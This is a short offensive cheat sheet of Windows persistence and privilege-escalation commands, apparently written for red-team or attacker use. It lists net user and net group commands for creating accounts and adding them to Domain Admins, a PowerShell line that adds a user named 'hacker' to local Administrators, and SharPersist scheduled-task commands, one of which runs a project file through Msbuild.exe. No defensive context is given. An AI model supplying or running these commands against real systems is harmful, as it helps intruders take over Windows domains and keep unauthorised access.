3 good guides:
Commands:
net user "username" "password" /ADD
net group "Domain Admins" %username% /DOMAIN /ADD
Change user password
net user USERNAME *
Using Powershell:
Add-LocalGroupMember -Group Administrators -Member hacker
https://github.com/fireeye/SharPersist
Create a Scheduled task:
Execute-assembly ~/Downloads/SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add -o hourly
Or
SharPersist -t schtask -c "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe" -a "C:\Users\John\msbuild.csproj" -n "Test" -m add -o hourly